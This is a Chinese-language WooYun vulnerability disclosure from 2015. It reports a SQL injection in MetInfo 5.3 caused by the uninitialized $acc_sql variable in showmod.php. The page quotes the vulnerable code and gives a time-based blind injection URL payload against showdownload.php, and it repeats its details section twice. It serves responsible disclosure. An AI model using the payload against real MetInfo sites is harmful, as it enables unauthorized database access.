当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144354

漏洞标题:MetInfo最新版SQL注入一枚

相关厂商:MetInfo

漏洞作者: Xser

提交时间:2015-10-01 09:34

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-02: 厂商已经确认,细节仅向厂商公开
2015-10-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-26: 细节向核心白帽子及相关领域专家公开
2015-12-06: 细节向普通白帽子公开
2015-12-16: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

未初始化问题

详细说明:

出现在MetInfo5.3/include/global/showmod.php中

if($dataoptimize[$pagemark]['nextlist']){
if($met_pnorder==1){
$csql="class1='$class1' and class2='$class2' and class3='$class3'";
$cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']);

}
else{
$csql="class1='$class1'";
$cpnorder=$class_list[$class1]['list_order'];
}
$acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":"";
$pn_sql=pn_order($cpnorder,$news);
if($cpnorder<4){
$allnews=$db->get_all("select * from $dbname where $csql and lang='$lang' and (recycle='0' or recycle='-1') and $acc_sql $pn_sql[2]");
$allnum=count($allnews);
if($allnum>1){
foreach($allnews as $keyall=>$valall){
if($valall['id']==$id){
if(is_array($allnews[$keyall-1])){
if($keyall-1>=0){$prenews=$allnews[$keyall-1];}
}
if(is_array($allnews[$keyall+1])){
if($keyall+1<=$allnum){$nextnews=$allnews[$keyall+1];}
}


$acc_sql没有初始化而且没单引号可以覆盖注入


进去这一步if($met_pnorder==1){
$csql="class1='$class1' and class2='$class2' and class3='$class3'";
$cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']);

}
可以覆盖了

QQ截图20151001005115.png


看看数据库日志

QQ截图20151001005149.png


成功带入字符
构造exp

**.**.**.**/MetInfo5.3/download/showdownload.php?id=1&acc_sql=aaaa or if(ascii(mid(user(),1,1))=114,benchmark(10000000,md5(2)),1)%23

漏洞证明:

出现在MetInfo5.3/include/global/showmod.php中

if($dataoptimize[$pagemark]['nextlist']){
if($met_pnorder==1){
$csql="class1='$class1' and class2='$class2' and class3='$class3'";
$cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']);

}
else{
$csql="class1='$class1'";
$cpnorder=$class_list[$class1]['list_order'];
}
$acc_sql=$met_member_use==2?"(access<='$metinfo_member_type') and":"";
$pn_sql=pn_order($cpnorder,$news);
if($cpnorder<4){
$allnews=$db->get_all("select * from $dbname where $csql and lang='$lang' and (recycle='0' or recycle='-1') and $acc_sql $pn_sql[2]");
$allnum=count($allnews);
if($allnum>1){
foreach($allnews as $keyall=>$valall){
if($valall['id']==$id){
if(is_array($allnews[$keyall-1])){
if($keyall-1>=0){$prenews=$allnews[$keyall-1];}
}
if(is_array($allnews[$keyall+1])){
if($keyall+1<=$allnum){$nextnews=$allnews[$keyall+1];}
}


$acc_sql没有初始化而且没单引号可以覆盖注入


进去这一步if($met_pnorder==1){
$csql="class1='$class1' and class2='$class2' and class3='$class3'";
$cpnorder=$class3?$class_list[$class3]['list_order']:($class2?$class_list[$class2]['list_order']:$class_list[$class1]['list_order']);

}
可以覆盖了

QQ截图20151001005115.png


看看数据库日志

QQ截图20151001005149.png


成功带入字符
构造exp

**.**.**.**/MetInfo5.3/download/showdownload.php?id=1&acc_sql=aaaa or if(ascii(mid(user(),1,1))=114,benchmark(10000000,md5(2)),1)%23

修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-02 13:13

厂商回复:

系统漏洞后续版本修复,感谢反馈!

最新状态:

暂无